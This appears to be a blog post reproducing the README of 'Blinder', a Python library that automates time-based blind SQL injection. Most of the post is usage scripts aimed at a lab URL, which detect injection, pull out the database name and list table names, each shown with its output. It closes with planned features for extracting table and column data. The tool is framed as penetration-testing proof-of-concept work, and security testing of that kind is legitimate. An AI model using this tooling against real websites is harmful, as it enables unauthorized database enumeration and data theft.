Blinder - A Python Library To Automate Time-Based Blind SQL Injection

6:30 PM


Blidner is a small python library to automate time-based blind SQL injection by using a pre defined queries as a functions to automate a rapid PoC development.

Installation
You can install Blinder using the following command:
pip install blinder
Or by downloading the source and importing it manually to your project.

Usage
To use blinder you need to import Blinder module then start using the main functions of Blinder.
You can use Blinder "with the current version" to do the following:
  • Check for time based injection.
  • Get database name.
  • Get tables names.
You can check for injection in a URL using the following code:
#!/usr/bin/python
 
 import Blinder
 
 blind = Blinder.blinder(
     "http://sqli-lab/sql_injection/index.php?search=3",
     sleep=1
  )
 
 print blind.check_injection()
The execution result will be:
[email protected]:~/Desktop# python check.py
 True
 [email protected]:~/Desktop#
You can Get database name using the following code:
#!/usr/bin/python
 
 import Blinder
 
 blind = Blinder.blinder(
     "http://sqli-lab/sql_injection/index.php?search=3",
     sleep=1
  )
 
 print "Database name is : %s " % blind.get_database()
And the results will be:
[email protected]:~/Desktop# python get-database.py
 Database name is : db1
 [email protected]:~/Desktop#
To get tables names you can use the following code:
#!/usr/bin/python
 
 import Blinder
 
 blind = Blinder.blinder(
     "http://sqli-lab/sql_injection/index.php?search=3",
     sleep=1
  )
 
 tables = blind.get_tables()
 
 for table in tables:
     print table
And the results will be:
[email protected]:~/Desktop# python get-tables.py
 blogs
 notes
 [email protected]:~/Desktop#

TODO
A lot of features should be added soon like:
  • the ability of adding customized query
  • test injection points based on burp request
  • extract tables/columns data


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